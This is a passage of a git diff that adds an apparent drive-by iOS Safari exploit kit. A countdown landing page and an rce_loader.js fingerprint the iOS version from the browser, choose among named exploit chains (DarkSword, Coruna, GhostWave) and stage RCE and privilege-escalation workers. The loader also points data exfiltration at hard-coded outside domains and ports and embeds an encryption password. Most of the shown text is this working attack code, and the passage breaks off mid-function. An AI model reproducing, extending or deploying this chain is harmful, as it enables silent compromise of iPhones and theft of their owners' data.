+ try { func_offsets_array[0x2102] = 0x5a; } catch (_mz) {} + + LOG("[PE-WORKER] start() COMPLETE"); + return true; +} + +try { + try { pe_alive_ping("pe_before_start"); } catch (_ps) {} + try { func_offsets_array[0x2100] = 0x53; } catch (_m4) {} + start(); +} +catch (error) { + var __errTxt = ""; + try { __errTxt = String(error && (error.message || error)); } catch (_es) { __errTxt = "unknown"; } + try { pe_alive_ping("pe_start_threw"); } catch (_pt) {} + try { pe_alive_ping("pe_start_err:" + __errTxt.substring(0, 100)); } catch (_pt2) {} + try { LOG("[PE] start() threw: " + __errTxt); } catch (_lg) {} +} +finally { + try { LOG("[HB] skip (no BSD socket)"); } catch(_e) {} + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("exit", 0n); +} + + +})(); + +/******/ })() +; + } catch (error) { + LOG(`Main function resulted with an error: ${error}`); + LOG("stack: " + error.stack); + } +})(); diff --git a/channel-builder-ds/source/qqtime/index.html b/channel-builder-ds/source/qqtime/index.html new file mode 100644 index 0000000..f7c97ba --- /dev/null +++ b/channel-builder-ds/source/qqtime/index.html @@ -0,0 +1,22 @@ + + + + + + + + + + + diff --git a/channel-builder-ds/source/qqtime/qqtime.html b/channel-builder-ds/source/qqtime/qqtime.html new file mode 100644 index 0000000..f7c97ba --- /dev/null +++ b/channel-builder-ds/source/qqtime/qqtime.html @@ -0,0 +1,22 @@ + + + + + + + + + + + diff --git a/channel-builder-ds/source/qqtime_countdown.js b/channel-builder-ds/source/qqtime_countdown.js new file mode 100644 index 0000000..1301313 --- /dev/null +++ b/channel-builder-ds/source/qqtime_countdown.js @@ -0,0 +1,65 @@ +/* 倒计时与 JS 链并行(秒数与 config.js countdownSeconds 一致 = 8)。 + * ?e=0 整页刷新不重置截止时间;到点必定跳 index,不受 ?e=0 影响。 */ +(function () { + var TOTAL_SEC = 8; + var KEY = "__er_countdown_deadline_ms"; + var LANDED = "__er_landed"; + var INDEX_URL = "/index.html?landed=1"; + var CIRC = 2 * Math.PI * 54; + + try { + if (sessionStorage.getItem(LANDED) === "1") { + // 已进过 index:链后续若再导航到 /qqtime/?e=0,立刻回落地页 + location.replace(INDEX_URL); + return; + } + } catch (e0) {} + + var now = Date.now(); + var deadline = 0; + try { + deadline = parseInt(sessionStorage.getItem(KEY) || "0", 10) || 0; + } catch (e) {} + // 仅首次写入截止时间;?e=0 刷新沿用原 deadline,倒计时不归零 + if (!deadline || deadline < now - 5000) { + deadline = now + TOTAL_SEC * 1000; + try { + sessionStorage.setItem(KEY, String(deadline)); + } catch (e2) {} + } + + var countEl = document.getElementById("count"); + var fg = document.getElementById("fg"); + if (fg) fg.style.strokeDasharray = String(CIRC); + + var jumped = false; + function goIndex() { + if (jumped) return; + jumped = true; + try { + sessionStorage.setItem(LANDED, "1"); + sessionStorage.removeItem(KEY); + } catch (e3) {} + location.replace(INDEX_URL); + } + + function tick() { + var leftMs = deadline - Date.now(); + var left = Math.max(0, Math.ceil(leftMs / 1000)); + if (countEl) countEl.textContent = String(left); + if (fg) { + var progressed = Math.min( + 1, + Math.max(0, 1 - leftMs / (TOTAL_SEC * 1000)) + ); + fg.style.strokeDashoffset = String(CIRC * (1 - progressed)); + } + if (leftMs <= 0) { + goIndex(); + return; + } + setTimeout(tick, 200); + } + + tick(); +})(); diff --git a/channel-builder-ds/source/rce_loader.js b/channel-builder-ds/source/rce_loader.js new file mode 100644 index 0000000..2608b32 --- /dev/null +++ b/channel-builder-ds/source/rce_loader.js @@ -0,0 +1,1179 @@ +try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){} +var SERVER_LOG = true; +let logStart = new Date().getTime(); +let logEntryID = 0; +let __printBudget = 60; +let __printWindowStart = 0; +var offsets = {}; +var slide; +var chipset; +var device_model; +var localHost = (function () { + try { + if (typeof labDeliveryHost === 'function') { + var fromLab = labDeliveryHost(); + if (fromLab) return String(fromLab).replace(/\/$/, ''); + } + if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) + return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); + if (typeof location !== 'undefined' && location.pathname) { + var origin = (location.origin && location.origin !== 'null') ? location.origin.replace(/\/$/, '') : ''; + var m = String(location.pathname).match(/^(.*\/next-chain)(?:\/|$)/); + if (origin && m) return origin + m[1]; + if (origin) return origin; + } + if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') + return location.origin.replace(/\/$/, ''); + } catch (e) {} + return ""; +})(); +function resolveLabDeviceUUID() { + let du = ''; + try { + du = (typeof window !== 'undefined' && window.__LAB_DEVICE_UUID__) || ''; + } catch (e0) {} + if (!du) { + try { du = (typeof localStorage !== 'undefined' && localStorage.getItem('lab_device_uuid')) || ''; } catch (e1) {} + } + if (!du) { + try { + const m = (typeof document !== 'undefined' && document.cookie || '').match(/(?:^|; )lab_device_uuid=([^;]*)/); + if (m) du = decodeURIComponent(m[1]); + } catch (e2) {} + } + du = String(du || '').replace(/-/g, '').toUpperCase(); + if (du && /^[0-9A-F]{16,64}$/.test(du)) { + try { + if (typeof window !== 'undefined') window.__LAB_DEVICE_UUID__ = du; + } catch (e3) {} + return du; + } + return ''; +} +function print(x, reportError = false, dumphex = false) { + let out = ('[' + (new Date().getTime() - logStart) + 'ms] ').padEnd(10) + x; + // Mirror to console so frame.html can notify parent (progress/hold). + try { console.log(out); } catch (eC) {} + try { + const s = String(x); + if (/RCE success|Finished stage2|handoff ok|inside stage1|check_dlopen/i.test(s)) { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: s.slice(0, 80) }, '*'); + } + } else if (/stage1_failed|InterposeTupleAll wait timeout/i.test(s)) { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ type: 'ds-stage', stage: 'worker', progress: 42, label: 'stage1_fail:' + s.slice(0, 60) }, '*'); + } + } + } catch (eP) {} + // Server upload: errors only (progress = GET /api/ds/pe-stage / console). + const isErr = reportError || /stage1_failed|fatal|Failed RCE|fail(?:ed|ure)?|error|exception|timeout|abort|InterposeTupleAll wait timeout/i.test(String(x)); + if (!isErr) return; + if (!SERVER_LOG && !reportError) return; + let obj = { + id: logEntryID++, + text: out, + } + if (dumphex) { + obj.hex = 1 + obj.text = x + } + try { + let du = ''; + try { + du = resolveLabDeviceUUID(); + } catch (e0) {} + if (du) { + obj.deviceUUID = du; + obj.device = du; + } + let req = Object.entries(obj).map(([k, v]) => `${encodeURIComponent(k)}=${encodeURIComponent(v)}`).join('&') + const xhr = new XMLHttpRequest(); + const logUrl = (typeof labApiUrl === 'function') + ? labApiUrl('/api/ds/log?' + req) + : (function () { + try { + if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) { + var e = window.__LAB_EXFIL__; + var tls = !!(e.tls || e.prefer_https); + var port = Number(tls ? (e.https_port || 443) : (e.http_port || 80)); + var origin = (tls ? 'https://' : 'http://') + String(e.host).replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + if (!((tls && port === 443) || (!tls && port === 80) || !port)) origin += ':' + port; + return origin + '/api/ds/log?' + req; + } + } catch (eApi) {} + return localHost + '/api/ds/log?' + req; + })(); + xhr.open("GET", logUrl, true); + if (du) { + try { xhr.setRequestHeader('X-Device-UUID', du); } catch (e1) {} + } + xhr.send(null); + } catch (e) {} +} +function redirect() +{ + // Safari-side grace ended — PE/exfil may still be running in mediaplaybackd. + // Do NOT mark S6/100% here; only advance to late PE so the bar matches reality. + // 成功/失败均不跳转页面(父页 index 保持不动;iframe 也不进 done.html)。 + try { + if (window.parent && window.parent !== window) { + window.parent.postMessage({ + type: 'ds-stage', + stage: 'pe', + progress: 92, + label: '權限提升 · 後台收尾中' + }, '*'); + window.parent.postMessage({ + type: 'ds-chain-settle', + progress: 92, + label: 'chain settle (no redirect)' + }, '*'); + } + } catch (e) {} + try { + print('redirect(): skip done.html (stay on current page)', false); + } catch (e3) {} +} + +function exfilGraceMs() { + // Safari-only hold before done.html redirect. PE/C2 already live in MPD/SB — + // not the c2_agent .done poll (removed). Keep a short settle, not 180s. + return 10000; +} +function sleepMs(ms) { + return new Promise(function (r) { setTimeout(r, ms); }); +} +async function waitPeExfilGrace() { + const total = exfilGraceMs(); + print('pe exfil grace begin ' + Math.round(total / 1000) + 's (safari redirect settle)'); + const step = 5000; + let elapsed = 0; + while (elapsed < total) { + await sleepMs(step); + elapsed += step; + print('pe exfil grace ' + Math.round(elapsed / 1000) + 's / ' + Math.round(total / 1000) + 's'); + } + print('pe exfil grace complete'); +} +function isStage1RcePath(v) { + // Worker-internal RCE via postMessage(stage1_rce) → main() → _aarw_main. + // iOS 18.5+: dedicated workers (18.5 → rce_worker_18.5.js). + // iOS 18.4: page check_attempt + stage1 handoff into rce_worker_18.4.js. + if (!v || !v.length) return false; + if (v[0] > 18) return true; + if (v[0] === 18 && (v[1] || 0) >= 5) return true; + return false; +} +function isIos186Plus(v) { + return isStage1RcePath(v); +} +function normalizeIosVersion(v) { + if (!v || !v.length) return v; + if (v[0] >= 19 || v[0] >= 26) { + var minor = v[1] || 0; + if (minor >= 7 || v[0] >= 26) return [18, 7].concat(v.slice(2)); + if (minor >= 6 || v[0] >= 19) return [18, 6].concat(v.slice(2)); + return [18, 5].concat(v.slice(2)); + } + return v; +} +function versionParts(v) { + return { maj: v[0], min: v[1] || 0, pat: v[2] || 0 }; +} +function cmpVer(a, b) { + for (var i = 0; i < 3; i++) { + if (a[i] < b[i]) return -1; + if (a[i] > b[i]) return 1; + } + return 0; +} +function inVerRange(v, lo, hi) { + return cmpVer(v, lo) >= 0 && cmpVer(v, hi) <= 0; +} +function isPatchedVersion(v) { + // DarkSword primary RCE patched on 18.7.3+; full chain closed by 26.3 + if (!v || !v.length) return false; + if (v[0] === 18 && v[1] === 7 && (v[2] || 0) >= 3) return true; + if (v[0] === 18 && (v[1] || 0) >= 8) return true; + if (v[0] === 26 && (v[1] || 0) >= 3) return true; + return false; +} + +function ghostUsableGrade(v) { + if (!v || !v.length) return 'RESEARCH'; + var maj = v[0], min = v[1] || 0, pat = v[2] || 0; + if (maj === 26 && min >= 3) return 'DEAD'; + if (maj === 26 && min === 2) return 'DEAD'; + if (maj === 26 && min === 0) return 'RESEARCH_HIGH'; + if (maj === 26 && min === 1) return 'RESEARCH'; + if (maj === 18 && min === 7 && pat >= 3) return 'DEAD'; + if (maj >= 19 && maj <= 25) return 'RESEARCH'; + return 'RESEARCH'; +} + +function classifyTarget(v) { + if (!v || !v.length) { + return { chain: 'unknown', delivery_ok: false, ghostwave: false, version_str: 'unknown', reason: 'no iOS version', patched: false }; + } + var version_str = v.join('.'); + var p = [v[0], v[1] || 0, v[2] || 0]; + + // Prefer server band plan when frame already fetched /api/ds/chain-targets + try { + if (typeof window !== 'undefined' && window.__LAB_BAND__) { + var b = window.__LAB_BAND__; + if (b.chain) { + return { + chain: b.chain, + delivery_ok: b.delivery_ok !== false, + ghostwave: b.chain === 'ghostwave', + version_str: version_str, + reason: b.next_action || b.notes || b.confidence || '', + patched: b.usable_grade === 'DEAD' || b.cve_tier === 'fully_patched_26_3', + weaponized: !!b.weaponized, + usable_grade: b.usable_grade || '', + open_cves: b.open_cves || [], + cve_tier: b.cve_tier || '', + research_priority: b.research_priority, + warning: b.weaponized ? '' : 'honesty: not weaponized' + }; + } + } + } catch (eBand) {} + + if (inVerRange(p, [13, 0, 0], [17, 2, 1])) { + return { + chain: 'coruna', + delivery_ok: true, + ghostwave: false, + version_str: version_str, + reason: 'Coruna leaked kit (khanhduytran0/coruna) via /coruna/group.html', + patched: false, + weaponized: true, + usable_grade: 'LIVE' + }; + } + + if (cmpVer(p, [17, 2, 1]) > 0 && cmpVer(p, [18, 4, 0]) < 0) { + var silk17 = p[0] === 17; + return { + chain: 'silkpath', + delivery_ok: true, + ghostwave: false, + version_str: version_str, + reason: silk17 + ? 'SilkPath loader OK but 17.x offsets are 0x0 — RCE gated by silkpath_loader' + : 'SilkPath 18.0-18.3 Stage1 + provisional bridged offsets (22E)', + patched: false, + weaponized: !silk17, + usable_grade: silk17 ? 'GATED' : 'PROVISIONAL' + }; + } + + if (inVerRange(p, [18, 4, 0], [18, 7, 2])) { + return { + chain: 'darksword', + delivery_ok: true, + ghostwave: (p[1] || 0) >= 7, + version_str: version_str, + reason: (p[1] || 0) >= 7 ? 'DarkSword+GhostWave post-exploit hooks' : 'DarkSword 18.4-18.7.2', + patched: false, + weaponized: true, + usable_grade: 'LIVE' + }; + } + + if (inVerRange(p, [18, 7, 3], [26, 3, 99])) { + var grade = ghostUsableGrade(v); + var fully = (p[0] === 26 && p[1] >= 3); + return { + chain: 'ghostwave', + delivery_ok: true, // research delivery always allowed + ghostwave: true, + version_str: version_str, + reason: fully + ? 'iOS 26.3 fully patched (GTIG) — harness telemetry only' + : (grade === 'RESEARCH_HIGH' + ? 'GhostWave RESEARCH_HIGH — attempt 26.x worker + calibrate' + : 'GhostWave research — offsets/chain incomplete'), + patched: grade === 'DEAD', + weaponized: false, + usable_grade: grade, + warning: 'Do not treat GhostWave as production-ready' + }; + } + + if (cmpVer(p, [26, 3, 99]) > 0) { + return { + chain: 'out_of_scope', + delivery_ok: false, + ghostwave: false, + version_str: version_str, + reason: 'above GhostWave 26.3', + patched: true, + usable_grade: 'DEAD' + }; + } + + return { + chain: 'out_of_scope', + delivery_ok: false, + ghostwave: false, + version_str: version_str, + reason: 'out of scope', + patched: false, + usable_grade: 'DEAD' + }; +} +function pickWorkerFile(v) { + var raw = v; + if (!raw || !raw.length) return null; + try { + if (typeof window !== 'undefined' && window.__LAB_RECOMMENDED_WORKER__) { + return String(window.__LAB_RECOMMENDED_WORKER__); + } + } catch (e) {} + if (raw[0] === 26 && (raw[1] || 0) >= 3) return 'rce_worker_26.3.js'; + if (raw[0] >= 19 || raw[0] >= 26) return 'rce_worker_26.x.js'; + v = normalizeIosVersion(v); + if (v[0] !== 18) return null; + var min = v[1] || 0, pat = v[2] || 0; + if (min === 7 && pat >= 3) return 'rce_worker_26.x.js'; + if (min >= 7) return 'rce_worker_18.7.js'; + if (min === 6) return 'rce_worker_18.6.js'; + // iOS 18.5: dedicated worker (stage1_rce → sbx0, 22F76). + if (min === 5) return 'rce_worker_18.6.js'; // nui verified: 22F76 lives in 18.6 worker + // iOS 18.4.x: page check_attempt → stage1 handoff into 18.4 worker. + if (min === 4) return 'rce_worker_18.4.js'; + return null; +} +function safariVersionMajor() { + try { + const m = /Version\/(\d+)/.exec(navigator.userAgent); + return m ? parseInt(m[1], 10) : 0; + } catch (e) { return 0; } +} +function workerFallbackChain(v) { + var primary = pickWorkerFile(v); + if (!primary) return []; + if (!v || !v.length) return [primary]; + var min = v[1] || 0; + var pat = v[2] || 0; + + // iOS 18.5: dedicated 18.5 worker; fall back to 18.6 then legacy 18.4. + if (v[0] === 18 && min === 5) { + return ['rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js']; + } + // iOS 18.4.x: must stay on 18.4 worker (stage1 handoff consumes page offsets). + if (v[0] === 18 && min === 4) { + return ['rce_worker_18.4.js']; + } + + try { + if (typeof window !== 'undefined' && window.__LAB_FALLBACK_WORKERS__ && window.__LAB_FALLBACK_WORKERS__.length) { + var chain = []; + if (primary) chain.push(primary); + for (var i = 0; i < window.__LAB_FALLBACK_WORKERS__.length; i++) { + var w = window.__LAB_FALLBACK_WORKERS__[i]; + if (w && chain.indexOf(w) < 0) chain.push(w); + } + if (chain.length) return chain; + } + } catch (eApi) {} + if (!primary) return []; + + // iOS 26.3+: dedicated harness (fully patched) + if (v[0] === 26 && (v[1] || 0) >= 3) { + return ['rce_worker_26.3.js', 'rce_worker_26.x.js']; + } + + // iOS 18.7+: prioritize 18.7 worker first (proven 2026-06-14: 18.7 S1 ok in 290ms) + if (v[0] >= 19 || (v[0] === 18 && min >= 7)) { + // For 18.7.0-18.7.2, prioritize 18.7 worker first + if (v[0] === 18 && min === 7 && pat <= 2) { + return ['rce_worker_18.7.js', 'rce_worker_26.x.js', 'rce_worker_18.6.js']; + } + // For 18.7.3+, try 26.x first as it might have better coverage + if (v[0] === 18 && min === 7 && pat >= 3) { + return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js']; + } + // For iOS 19+ or Safari 26.0-26.2, try 26.x first + return ['rce_worker_26.x.js', 'rce_worker_18.7.js', 'rce_worker_18.6.js']; + } + + // iOS 18.6.x: single worker only (upstream / nuih). No 18.5/18.4 fallback — + // those use different handoff paths and crash-skip would just burn attempts. + if (v[0] === 18 && min === 6) { + return ['rce_worker_18.6.js']; + } + + // Default fallback chain (prefer files present in this lab tree) + return [primary, 'rce_worker_18.6.js', 'rce_worker_18.5.js', 'rce_worker_18.4.js']; +} +function pickModuleFile(v) { + var raw = v; + v = normalizeIosVersion(v); + if (!v || !v.length) return 'rce_module.js'; + if (raw[0] >= 19 || raw[0] >= 26) return 'rce_module_18.7.js'; + if (v[0] === 18 && (v[1] || 0) >= 7) return 'rce_module_18.7.js'; + if (v[0] === 18 && (v[1] || 0) === 6) return 'rce_module_18.6.js'; + if (v[0] === 18 && (v[1] || 0) === 5) return 'rce_module_18.6.js'; + // iOS 18.4.x: classic module + check_attempt handoff. + if (v[0] === 18 && (v[1] || 0) === 4) return 'rce_module.js'; + return 'rce_module.js'; +} +function moduleForWorker(workerFile) { + if (!workerFile) return pickModuleFile(ios_version); + if (workerFile.indexOf('26.3') >= 0) return ''; // harness — no RCE module + if (workerFile.indexOf('26.x') >= 0 || workerFile.indexOf('18.7') >= 0) return 'rce_module_18.7.js'; + if (workerFile.indexOf('18.6') >= 0) return 'rce_module_18.6.js'; + if (workerFile.indexOf('18.5') >= 0) return 'rce_module_18.5.js'; + if (workerFile.indexOf('18.4') >= 0) return 'rce_module.js'; + return 'rce_module.js'; +} +function workerMinBytes(candidate) { + if (!candidate) return 5000; + if (candidate.indexOf('26.3') >= 0) return 400; + return candidate.indexOf('18.4') >= 0 ? 1000 : 5000; +} +function parseIosVersion() { + try { + if (typeof window !== 'undefined' && window.__LAB_FORCE_IOS__) { + var forced = String(window.__LAB_FORCE_IOS__).split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); }); + if (forced.length) return forced; + } + var q = new URLSearchParams(location.search); + var qi = q.get('ios') || q.get('version') || ''; + if (qi) { + var fromQ = qi.split('.').map(function (p) { return parseInt(p, 10); }).filter(function (n) { return !isNaN(n); }); + if (fromQ.length) return fromQ; + } + } catch (eF) {} + const ua = navigator.userAgent; + let m = /iPhone OS ([0-9_]+)/.exec(ua); + if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); }); + m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua); + if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); }); + m = /CPU OS ([0-9_]+)/.exec(ua); + if (m) return m[1].split('_').map(function (p) { return parseInt(p, 10); }); + m = /Version\/(\d+)\.(\d+)/.exec(ua); + if (m) return [parseInt(m[1], 10), parseInt(m[2], 10)]; + return null; +} +function resolveDeliveryHost() { + try { + if (typeof labDeliveryHost === 'function') { + var fromLab = labDeliveryHost(); + if (fromLab) return String(fromLab).replace(/\/$/, ''); + } + } catch (eLab) {} + if (localHost && localHost.length > 4) return String(localHost).replace(/\/$/, ''); + try { + if (typeof window !== 'undefined' && window.__LAB_DELIVERY_HOST__) + return String(window.__LAB_DELIVERY_HOST__).replace(/\/$/, ''); + if (typeof location !== 'undefined' && location.origin && location.origin !== 'null') { + var origin = location.origin.replace(/\/$/, ''); + var m = String(location.pathname || '').match(/^(.*\/next-chain)(?:\/|$)/); + if (m) return origin + m[1]; + return origin; + } + } catch (e) {} + return 'http://one99.vip:80'; +} +function resolveExfilTarget() { + try { + if (typeof window !== 'undefined' && window.__LAB_EXFIL__ && window.__LAB_EXFIL__.host) + return window.__LAB_EXFIL__; + } catch (e) {} + try { + const apiBase = (typeof labApiUrl === 'function') + ? labApiUrl('/api/ds/chain-targets') + : ''; + if (apiBase) { + const xhr = new XMLHttpRequest(); + xhr.open('GET', apiBase, false); + xhr.send(null); + if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText) { + const d = JSON.parse(xhr.responseText); + if (d.exfil && d.exfil.host) { + try { if (typeof labApplyExfil === 'function') labApplyExfil(d.exfil); } catch (eA) {} + return d.exfil; + } + } + } + } catch (e2) {} + return { host: "mh0usocqzi6f46i.com", http_port: 443, https_port: 443, tls: false }; +} +function exfilFields() { + const t = resolveExfilTarget(); + let deviceUUID = ''; + try { + deviceUUID = resolveLabDeviceUUID(); + } catch (eDu) { deviceUUID = ''; } + if (!t) { + return { + exfilHost: 'mh0usocqzi6f46i.com', + exfilHttpPort: 8018, + exfilHttpsPort: 8018, + exfilTls: false, + exfilFallbackHost: 'mh0usocqzi6f46i.com', + exfilFallbackHttpPort: 8018, + deviceUUID, + }; + } + // Prefer explicit GitHub-style IP:4001 from /api/ds/chain-targets + const hostRaw = String(t.host || '').replace(/^https?:\/\//, '').split('/')[0].split(':')[0]; + const isIp = /^\d+\.\d+\.\d+\.\d+$/.test(hostRaw); + if (isIp || t.prefer_https === false || t.tls === false || (t.http_port && Number(t.http_port) === 4001)) { + const ip = isIp ? hostRaw : 'mh0usocqzi6f46i.com'; + return { + exfilHost: ip, + exfilHttpPort: t.http_port != null ? Number(t.http_port) : 4001, + exfilHttpsPort: t.https_port != null ? Number(t.https_port) : 4001, + exfilTls: false, + exfilFallbackHost: ip, + exfilFallbackHttpPort: 8018, + statsUrl: t.stats_url_direct || t.stats_url || ('http://' + ip + ':4001/stats'), + deviceUUID, + }; + } + if (t.stats_url) { + try { + const u = new URL(t.stats_url); + const port = u.port ? parseInt(u.port, 10) : (u.protocol === 'https:' ? 443 : 80); + return { + exfilHost: u.hostname, + exfilHttpPort: port, + exfilHttpsPort: port, + exfilTls: u.protocol === 'https:', + statsUrl: t.stats_url, + exfilFallbackHost: 'mh0usocqzi6f46i.com', + exfilFallbackHttpPort: 8018, + deviceUUID, + }; + } catch (e) { /* fall through */ } + } + const host = hostRaw; + const tls = t.tls === true || t.prefer_https === true; + return { + exfilHost: host, + exfilHttpPort: t.http_port != null ? t.http_port : (tls ? 443 : 4001), + exfilHttpsPort: t.https_port != null ? t.https_port : (tls ? 443 : 4001), + exfilTls: tls, + exfilFallbackHost: 'mh0usocqzi6f46i.com', + exfilFallbackHttpPort: 8018, + statsUrl: t.delivery_stats_url || '', + deviceUUID, + }; +} +function ensureBody() { + if (document.body) return document.body; + var b = document.createElement('body'); + if (document.documentElement) document.documentElement.appendChild(b); + return b; +} +function iosVersionKey(v) { + if (!v) return ''; + if (typeof v === 'string') { + if (v.indexOf('.') >= 0) return v.replace(/\./g, ','); + return v; + } + if (v.join) return v.join(','); + return String(v); +} +function validateStage1Handoff() { + if (!device_model) { + print('handoff reject: missing device_model', true); + return false; + } + if (!offsets || typeof offsets !== 'object') { + print('handoff reject: missing offsets object', true); + return false; + } + var keys = Object.keys(offsets); + if (keys.length < 40) { + print('handoff reject: offsets too small (' + keys.length + ' keys)', true); + return false; + } + if (slide == null || slide === undefined) { + print('handoff reject: missing slide', true); + return false; + } + try { + if (typeof slide === 'bigint' && slide === 0n) { + print('handoff reject: zero slide', true); + return false; + } + } catch (e) {} + print('handoff ok: ' + device_model + ' keys=' + keys.length + ' slide=' + (slide && slide.toString ? slide.toString() : slide)); + return true; +} +function packOffsetsForTransfer(src) { + var out = {}; + if (!src) return out; + try { + for (var k in src) { + if (!Object.prototype.hasOwnProperty.call(src, k)) continue; + var val = src[k]; + out[k] = (val != null && val.toString) ? val.toString() : String(val); + } + } catch (e) {} + return out; +} +function postStage1ToWorker(worker, begin, origin, desiredHost) { + var msg = { + type: 'stage1', + begin: begin, + origin: origin, + ios_version: iosVersionKey(ios_version), + device_model: device_model, + chipset: chipset, + slide: (slide != null && slide.toString) ? slide.toString() : '0', + offsets: packOffsetsForTransfer(offsets), + desiredHost: desiredHost, + SERVER_LOG: SERVER_LOG + }; + try { + var ex = exfilFields(); + for (var ek in ex) { if (Object.prototype.hasOwnProperty.call(ex, ek)) msg[ek] = ex[ek]; } + } catch (e) {} + try { msg._enc_pass = labEncPassword(); } catch (eP) {} + try { + worker.postMessage(msg); + print('stage1 handoff posted (' + (msg.device_model || '?') + ', ' + Object.keys(msg.offsets).length + ' offsets)'); + return true; + } catch (e) { + print('stage1 postMessage failed: ' + e, true); + return false; + } +} +function labEncPassword() { + try { + if (typeof globalThis !== 'undefined' && globalThis.__LAB_ENC_PASS__) + return String(globalThis.__LAB_ENC_PASS__); + if (typeof window !== 'undefined' && window.__LAB_ENC_PASS__) + return String(window.__LAB_ENC_PASS__); + } catch (e) {} + return '9898asd147258'; +} + +function decryptWireText(text){return text;} + +function getJS(fname, method = 'GET', tries = 5) +{ + try + { + const clean = String(fname).replace(/^\//, '').split('?')[0]; + const base = resolveDeliveryHost(); + if (!base) { print('getJS: no delivery host'); return; } + // Prefer encrypted staging (opaque on the wire). + // pe_worker/pe_main need server-side UUID bake before encrypt. + const path = fname.startsWith('/') ? fname : '/' + fname; + const sep = path.indexOf('?') >= 0 ? '&' : '?'; + for (let attempt = 1; attempt <= tries; attempt++) { + const url = base + path + sep + '_r=' + attempt; + let xhr = new XMLHttpRequest(); + xhr.open(method, url, false); + xhr.send(null); + if (xhr.status >= 200 && xhr.status < 300 && xhr.responseText && xhr.responseText.length > 0) { + return xhr.responseText; + } + // 404/410 won't appear on retry — fail fast instead of 5× spam. + if (xhr.status === 404 || xhr.status === 410) { + print('getJS HTTP ' + xhr.status + ' for ' + fname + ' (no retry)'); + return; + } + if (attempt < tries) { + print('getJS retry ' + attempt + '/' + tries + ' HTTP ' + xhr.status + ' for ' + fname); + } + } + print('getJS HTTP failed for ' + fname); + } + catch (e) + { + print('getJS error: ' + e); + } +} + +var __gwDecryptReady = false; + +async function ensureGhostWaveDecrypt(){return true;} + +async function fetchEncryptedJS(){return null;} + +async function resolveWorkerCode(candidate){return getJS(candidate+'?'+Date.now());} + +function shouldUseEncryptedStagingSync(){return false;} +const signal = new Uint8Array(8); +const dlopen_worker = `(() => { + self.onmessage = function (e) { + const { + type, + data + } = e.data; + switch (type) { + case 'init': + const canvas = new OffscreenCanvas(1, 1); + globalThis[0] = data; + createImageBitmap(canvas).then(bitmap => { + globalThis[1] = bitmap; + self.postMessage(null); + }); + break; + case 'dlopen': + // Close existing bitmap — this triggers a dyld dlopen path through + // ImageIO/CG framework processing on most iOS versions. + try { globalThis[1].close(); } catch(_) {} + // Immediately create a fresh bitmap so the NEXT close() is also + // meaningful. Without this, retrigger_dlopen1 closes an already- + // closed bitmap (no-op) and no dlopen happens on the retry. + try { + var _c2 = new OffscreenCanvas(1, 1); + createImageBitmap(_c2).then(function(_b2) { globalThis[1] = _b2; }); + } catch(_e2) {} + break; + } + }; +})();`; +const dlopen_worker_blob = new Blob([dlopen_worker], { type: 'application/javascript'}); +const dlopen_worker_url = URL.createObjectURL(dlopen_worker_blob); +const ios_version = parseIosVersion(); +const chain_target = classifyTarget(ios_version); +const worker_plan = workerFallbackChain(ios_version); +var __exfilBoot = exfilFields(); +print('chain_boot: ios=' + (ios_version ? ios_version.join('.') : 'unknown') + + ' safari=' + safariVersionMajor() + + ' chain=' + chain_target.chain + + ' workers=' + (worker_plan.length ? worker_plan.join('>') : 'none') + + ' host=' + resolveDeliveryHost() + + ' exfil=' + (__exfilBoot.exfilHost || '?') + ':' + (__exfilBoot.exfilHttpPort || '?') + + ' tls=' + !!__exfilBoot.exfilTls); +print('ios_version: ' + (ios_version ? ios_version.join('.') : 'unknown')); +print('chain_target: ' + chain_target.chain + ' ok=' + chain_target.delivery_ok + ' ' + chain_target.reason); +async function runWorkerAttempt(workerCode, workerFile) { + var isHarness = workerFile && workerFile.indexOf('26.3') >= 0; + return new Promise((resolve) => { + let settled = false; + function finish(ok) { + if (settled) return; + settled = true; + clearTimeout(watchdog); + resolve(!!ok); + } + var _workerSrc = workerCode; + const workerBlobUrl = URL.createObjectURL(new Blob([_workerSrc], { type: 'text/javascript' })); + const randomValues = new Uint32Array(32); + const begin = Date.now(); + const origin = location.origin; + const worker = new Worker(workerBlobUrl); + const dlopen_workers = []; + const iframe = document.createElement('iframe'); + iframe.srcdoc = ''; + iframe.style.height = '0'; + iframe.style.width = '0'; + ensureBody().appendChild(iframe); + const watchdog = setTimeout(() => { + print('worker watchdog timeout: ' + workerFile, true); + try { worker.terminate(); } catch (e) {} + finish(false); + }, isHarness ? 20000 : 1200000); + + if (isHarness) { + worker.onerror = function (err) { + print('harness onerror: ' + (err && err.message ? err.message : err), true); + try { worker.terminate(); } catch (e) {} + finish(true); // harness errors still count as completed research path + }; + worker.onmessage = function (e) { + var data = e.data || {}; + if (data.type === 'log') { + print(data.text || '', !!data.error); + return; + } + if (data.type === 'stage') { + print('harness stage ' + (data.stage || '?') + ' ' + (data.status || '') + ' ' + (data.message || data.reason || '')); + return; + } + if (data.type === 'ready') { + worker.postMessage({ + name: 'begin', + type: 'begin', + ios: ios_version ? ios_version.join('.') : '26.3', + deviceUUID: resolveLabDeviceUUID(), + model: device_model || '', + build: '' + }); + return; + } + if (data.type === 'done') { + print('harness done: ' + (data.message || 'ok')); + try { worker.terminate(); } catch (e) {} + finish(true); // research path completed honestly + } + }; + // Kick if ready already fired before handler attached + setTimeout(function () { + try { + worker.postMessage({ + name: 'begin', + type: 'begin', + ios: ios_version ? ios_version.join('.') : '26.3', + deviceUUID: resolveLabDeviceUUID() + }); + } catch (eK) {} + }, 50); + return; + } + + async function prepare_dlopen_workers() { + for (let i 